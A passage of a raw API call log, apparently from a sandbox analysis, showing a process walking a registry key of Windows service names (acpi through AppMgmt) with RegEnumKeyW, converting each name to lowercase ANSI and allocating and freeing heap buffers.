lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0170.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.503] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0170.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0170.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.503] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0170.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0170.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1928, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0170.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.503] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0170.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0170.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.504] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0170.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0170.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.504] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0170.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0170.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.504] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0170.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0170.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0170.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.505] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0170.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0170.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.505] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0170.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0170.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0170.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.505] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0170.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0170.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0170.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.505] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0170.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0170.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0170.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.506] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0170.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0170.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0170.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.506] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0170.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0170.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0170.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.506] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0170.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0170.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0170.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.506] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0170.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0170.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0170.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.507] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0170.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0170.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.507] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0170.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0170.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0170.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.507] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0170.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0170.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.508] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0170.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0170.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0170.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.508] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0170.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0170.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0170.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.508] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0170.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0170.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.508] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0170.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) 